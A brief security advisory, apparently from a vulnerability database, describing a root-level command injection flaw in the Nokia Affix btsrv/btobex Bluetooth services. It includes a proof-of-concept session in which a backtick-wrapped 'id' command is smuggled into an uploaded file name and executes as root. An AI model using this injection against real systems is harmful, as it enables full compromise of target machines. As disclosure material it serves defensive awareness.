source: http://www.securityfocus.com/bid/14232/info Nokia Affix btsrv/btobex are reported prone to a remote command execution vulnerability. The issue exists due to a lack of input sanitization that is performed before using attacker-controlled data in a 'system()' call. Because the affected services run with superuser privileges, this issue may be exploited to fully compromise a target computer that is running the affected software. ftp> put /etc/hosts `id` Transfer started... Transfer complete. 257 bytes sent in 0.9 secs (2855.56 B/s) ftp> ls -rwdx 257 uid=0(root) gid=0(root) groups=0(root) Command complete.